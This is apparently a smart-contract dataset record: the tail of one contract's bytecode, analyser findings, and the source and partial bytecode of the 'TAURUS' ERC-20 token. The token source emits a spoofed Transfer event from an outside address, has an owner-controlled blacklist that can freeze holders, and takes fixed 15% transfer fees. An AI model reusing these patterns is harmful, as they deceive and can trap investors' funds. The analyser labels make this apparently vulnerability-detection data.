10292909201356001600160a01b0316835250810191909152604001600020805463ffffffff191660e09290921c919091179055600101611555565b5050505050565b6000806000806000866001600160a01b0316633ca558336040518163ffffffff1660e01b815260040160206040518083038186803b15801561161157600080fd5b505afa158015611625573d6000803e3d6000fd5b505050506040513d602081101561163b57600080fd5b50516040805163e240301960e01b81526001600160a01b03898116600483015291519293509083169163e240301991602480820192602092909190829003018186803b15801561168a57600080fd5b505afa15801561169e573d6000803e3d6000fd5b505050506040513d60208110156116b457600080fd5b5051604080516362a00a4760e11b81526001600160a01b0389811660048301529151633b9aca009285169163c540148e916024808301926020929190829003018186803b15801561170457600080fd5b505afa158015611718573d6000803e3d6000fd5b505050506040513d602081101561172e57600080fd5b50518161173757fe5b04633b9aca00836001600160a01b031663906c0a418a6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561179357600080fd5b505afa1580156117a7573d6000803e3d6000fd5b505050506040513d60208110156117bd57600080fd5b5051816117c657fe5b929a9199509091049650600095509350505050565b600080826001600160a01b0316636bb5f7876040518163ffffffff1660e01b815260040160206040518083038186803b15801561181757600080fd5b505afa15801561182b573d6000803e3d6000fd5b505050506040513d602081101561184157600080fd5b50516040805163fefb161360e01b81529051919250606091829173097dd22173f0e382dae42baaeb9bdbc9fdf3396f9163fefb161391600480820192600092909190829003018186803b15801561189757600080fd5b505afa1580156118ab573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156118d457600080fd5b8101908080516040519392919084600160201b8211156118f357600080fd5b90830190602082018581111561190857600080fd5b82518660208202830111600160201b8211171561192457600080fd5b82525081516020918201928201910280838360005b83811015611951578181015183820152602001611939565b5050505090500160405260200180516040519392919084600160201b82111561197957600080fd5b90830190602082018581111561198e57600080fd5b82518660208202830111600160201b821117156119aa57600080fd5b82525081516020918201928201910280838360005b838110156119d75781810151838201526020016119bf565b5050505090500160405250505091509150600080600080600090505b8551811015611bdd57866001600160a01b031663f2842b19878381518110611a1757fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611a6557600080fd5b505afa158015611a79573d6000803e3d6000fd5b505050506040513d6020811015611a8f57600080fd5b505193506001600160a01b038416611aa657611bd5565b858181518110611ab257fe5b60200260200101516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611af257600080fd5b505afa158015611b06573d6000803e3d6000fd5b505050506040513d6020811015611b1c57600080fd5b505160ff16925060128311611b4c5782601203600a0a858281518110611b3e57fe5b602002602001015102611b70565b60128303600a0a858281518110611b5f57fe5b602002602001015181611b6e57fe5b045b858281518110611b7c57fe5b602002602001018181525050611bd2611bc5670de0b6b3a7640000610f15611ba388612be3565b898681518110611baf57fe5b6020026020010151612dad90919063ffffffff16565b839063ffffffff612e6e16565b91505b6001016119f3565b50979650505050505050565b6000806000806000866001600160a01b031663f56532a6876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610b6957600080fd5b6000838015611ce857600184168015611c6257859250611c66565b8392505b50600283046002850494505b8415611ce2578586028687820414611c8957600080fd5b81810181811015611c9957600080fd5b85810497506002870615611cd5578785028589820414158915151615611cbe57600080fd5b83810181811015611cce57600080fd5b8790049550505b5050600285049450611c72565b50611cfe565b838015611cf85760009250611cfc565b8392505b505b509392505050565b6000806000806000866001600160a01b0316638c0b09d0876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611d6457600080fd5b505afa158015611d78573d6000803e3d6000fd5b505050506040513d6020811015611d8e57600080fd5b505160408051631d8e90d160e11b815290519192506001600160a01b03831691633b1d21a291600480820192602092909190829003018186803b158015611dd457600080fd5b505afa158015611de8573d6000803e3d6000fd5b505050506040513d6020811015611dfe57600080fd5b505160408051630ae9d70b60e41b81529051670de0b6b3a764000091611e54918391611680916001600160a01b0388169163ae9d70b0916004808301926020929190829003018186803b158015610c5957600080fd5b03670de0b6b3a7640000611ea6670de0b6b3a7640000611680866001600160a01b031663f8f9da286040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5957600080fd5b03611eb18a8a610f2a565b929a91995097509095509350505050565b60005460ff1615611f1a576040805162461bcd60e51b815260206004820181905260248201527f696e697469616c697a653a20416c726561647920696e697469616c697a656421604482015290519081900360640190fd5b600080546001610100600160a81b031990911633610100021760ff1916179055565b60005461010090046001600160a01b031681565b6001600160a01b03828116600081815260016020908152604080832054815160248101959095529486166044808601919091528151808603909101815260649094018152908301805160e09590951b6001600160e01b0319166001600160e01b0390951694909417845251825191938493849384936060933093928291908083835b60208310611ff15780518252601f199092019160209182019101611fd2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612053576040519150601f19603f3d011682016040523d82523d6000602084013e612058565b606091505b5091505060008060008084806020019051608081101561207757600080fd5b50805160208201516040830151606090930151919e909d50919b509950975050505050505050565b6000806060806060806060806120b3612ebd565b60008a6001600160a01b031663148a95ea6040518163ffffffff1660e01b815260040160a060405180830381600087803b1580156120f057600080fd5b505af1158015612104573d6000803e3d6000fd5b505050506040513d60a081101561211a57600080fd5b506080015160408051637e062a3560e11b815290519192506001600160a01b038d169163fc0c546a91600480820192602092909190829003018186803b15801561216357600080fd5b505afa158015612177573d6000803e3d6000fd5b505050506040513d602081101561218d57600080fd5b50516001600160a01b03908116835260408051631ffc224d60e21b81529051918d1691637ff089349160048082019260009290919082900301818387803b1580156121d757600080fd5b505af11580156121eb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052606081101561221457600080fd5b8101908080516040519392919084600160201b82111561223357600080fd5b90830190602082018581111561224857600080fd5b82518660208202830111600160201b8211171561226457600080fd5b82525081516020918201928201910280838360005b83811015612291578181015183820152602001612279565b5050505090500160405260200180516040519392919084600160201b8211156122b957600080fd5b9083019060208201858111156122ce57600080fd5b82518660208202830111600160201b821117156122ea57600080fd5b82525081516020918201928201910280838360005b838110156123175781810151838201526020016122ff565b5050505090500160405260200180516040519392919084600160201b82111561233f57600080fd5b90830190602082018581111561235457600080fd5b82518660208202830111600160201b8211171561237057600080fd5b82525081516020918201928201910280838360005b8381101561239d578181015183820152602001612385565b5050505091909101604090815260608a0196909652505050505083810182905290518151818152602082810282010190925280156123e5578160200160208202803883390190505b50608083015260408083015151815181815260208083028201019092528015612418578160200160208202803883390190505b5060a08301526040808301515181518181526020808302820101909252801561244b578160200160208202803883390190505b5060c08301526040808301515181518181526020808302820101909252801561247e578160200160208202803883390190505b5060e083015260005b82604001515181101561252c576124b9836040015182815181106124a757fe5b60200260200101518460000151611f50565b866080015185815181106124c957fe5b602002602001018760a0015186815181106124e057fe5b602002602001018860c0015187815181106124f757fe5b602002602001018960e00151888151811061250e57fe5b60209081029190910101939093529290915291905252600101612487565b50808b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561256757600080fd5b505afa15801561257b573d6000803e3d6000fd5b505050506040513d602081101561259157600080fd5b505160408401516060850151608086015160a087015160c088015160e090980151959f50939d50919b5099509750955091935090915050919395975091939597565b600080600080846001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561262f57600080fd5b505afa158015612643573d6000803e3d6000fd5b505050506040513d602081101561265957600080fd5b5051966000965086955085945092505050565b60005461010090046001600160a01b031633146126ba5760405162461bcd60e51b8152600401808060200182810382526022815260200180612f516022913960400191505060405180910390fd5b6001600160a01b03919091166000908152600160205260409020805463ffffffff191660e09290921c919091179055565b60006060806060806000866001600160a01b0316636bb5f7876040518163ffffffff1660e01b815260040160206040518083038186803b15801561272e57600080fd5b505afa158015612742573d6000803e3d6000fd5b505050506040513d602081101561275857600080fd5b50516040805163fefb161360e01b81529051919250606091829173097dd22173f0e382dae42baaeb9bdbc9fdf3396f9163fefb161391600480820192600092909190829003018186803b1580156127ae57600080fd5b505afa1580156127c2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156127eb57600080fd5b8101908080516040519392919084600160201b82111561280a57600080fd5b90830190602082018581111561281f57600080fd5b82518660208202830111600160201b8211171561283b57600080fd5b82525081516020918201928201910280838360005b83811015612868578181015183820152602001612850565b5050505090500160405260200180516040519392919084600160201b82111561289057600080fd5b9083019060208201858111156128a557600080fd5b82518660208202830111600160201b821117156128c157600080fd5b82525081516020918201928201910280838360005b838110156128ee5781810151838201526020016128d6565b50505050905001604052505050915091506060825160405190808252806020026020018201604052801561292c578160200160208202803883390190505b5090506060835160405190808252806020026020018201604052801561295c578160200160208202803883390190505b5090506000805b8551811015612bd157866001600160a01b031663f2842b1987838151811061298757fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156129d557600080fd5b505afa1580156129e9573d6000803e3d6000fd5b505050506040513d60208110156129ff57600080fd5b50518451859083908110612a0f57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060006001600160a01b0316848281518110612a4657fe5b60200260200101516001600160a01b03161415612a6257612bc9565b858181518110612a6e57fe5b60200260200101516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612aae57600080fd5b505afa158015612ac2573d6000803e3d6000fd5b505050506040513d6020811015612ad857600080fd5b5051835160ff90911690849083908110612aee57fe5b6020026020010181815250506012838281518110612b0857fe5b602002602001015111612b4957828181518110612b2157fe5b6020026020010151601203600a0a858281518110612b3b57fe5b602002602001015102612b80565b6012838281518110612b5757fe5b602002602001015103600a0a858281518110612b6f57fe5b602002602001015181612b7e57fe5b045b858281518110612b8c57fe5b602002602001018181525050612bc6611bc5670de0b6b3a7640000610f15611ba3888681518110612bb957fe5b6020026020010151612be3565b91505b600101612963565b509b939a509098509650945092505050565b6000612bed612ebd565b612bf68361209f565b60e08901525060a0870152506060850152505060208201819052612c1e576000915050610f25565b6000805b826060015151811015611cfe57612ca382612c978560200151610f1587606001518681518110612c4e57fe5b6020026020010151610f098960e001518881518110612c6957fe5b60200260200101518a60a001518981518110612c8157fe5b6020026020010151612e6e90919063ffffffff16565b9063ffffffff612e6e16565b9150600101612c22565b60005461010090046001600160a01b03163314612cfb5760405162461bcd60e51b8152600401808060200182810382526022815260200180612f516022913960400191505060405180910390fd5b8281148015612d0957508215155b612d445760405162461bcd60e51b8152600401808060200182810382526045815260200180612f0c6045913960600191505060405180910390fd5b60005b838110156115c957828282818110612d5b57fe5b90506020020135151560026000878785818110612d7457fe5b602090810292909201356001600160a01b0316835250810191909152604001600020805460ff1916911515919091179055600101612d47565b6000811580612dc857505080820282828281612dc557fe5b04145b610aa9576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b6000808211612e5d576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6469762d6f766572666c6f7760601b604482015290519081900360640190fd5b818381612e6657fe5b049392505050565b80820182811015610aa9576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b60405180610100016040528060006001600160a01b0316815260200160008152602001606081526020016060815260200160608152602001606081526020016060815260200160608152509056fe7365744661726d696e67733a2068616e646c657273202620696e646578732073686f756c64206e6f7420686176652030206f7220646966666572656e74206c656e677468736f6e6c794f776e65723a2063616c6c6572206973206e6f7420746865206f776e657273657448616e646c6572733a2068616e646c657273202620696e646578732073686f756c64206e6f7420686176652030206f7220646966666572656e74206c656e67746873a265627a7a72315820df380c2d4b02ac2206f94f95d06f981eda9151e045783889e3329d8e304b3dd964736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,055 |
0x12e2cF1314A2Af4D8763162F4fCe8EC970F5b5c2
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
// File: contracts/Taurus.sol
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TAURUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Taurus";
string private constant _symbol = "TAURUS";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612888565b61045e565b6040516101789190612d43565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612835565b61048c565b6040516101e09190612d43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061279b565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f55565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612911565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061279b565b610782565b6040516102b19190612ee0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c75565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612888565b61098c565b60405161035b9190612d43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128c8565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061296b565b6110a9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f5565b6111f1565b6040516104189190612ee0565b60405180910390f35b60606040518060400160405280600681526020017f5461757275730000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611278565b8484611280565b6001905092915050565b6000670de0b6b3a7640000905090565b600061049984848461144b565b61055a846104a5611278565b6105558560405180606001604052806028815260200161363360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b611278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b039092919063ffffffff16565b611280565b600190509392505050565b61056d611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e40565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610666611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e40565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611278565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b67565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c62565b9050919050565b6107db611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5441555255530000000000000000000000000000000000000000000000000000815250905090565b60006109a0610999611278565b848461144b565b6001905092915050565b6109b2611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e40565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a6361329d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131f6565b915050610a42565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b15611278565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611cd0565b50565b610b56611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612e40565b60405180910390fd5b601160149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612ec0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611280565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0857600080fd5b505afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4091906127c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906127c8565b6040518363ffffffff1660e01b8152600401610df7929190612c90565b602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4991906127c8565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed230610782565b600080610edd610926565b426040518863ffffffff1660e01b8152600401610eff96959493929190612ce2565b6060604051808303818588803b158015610f1857600080fd5b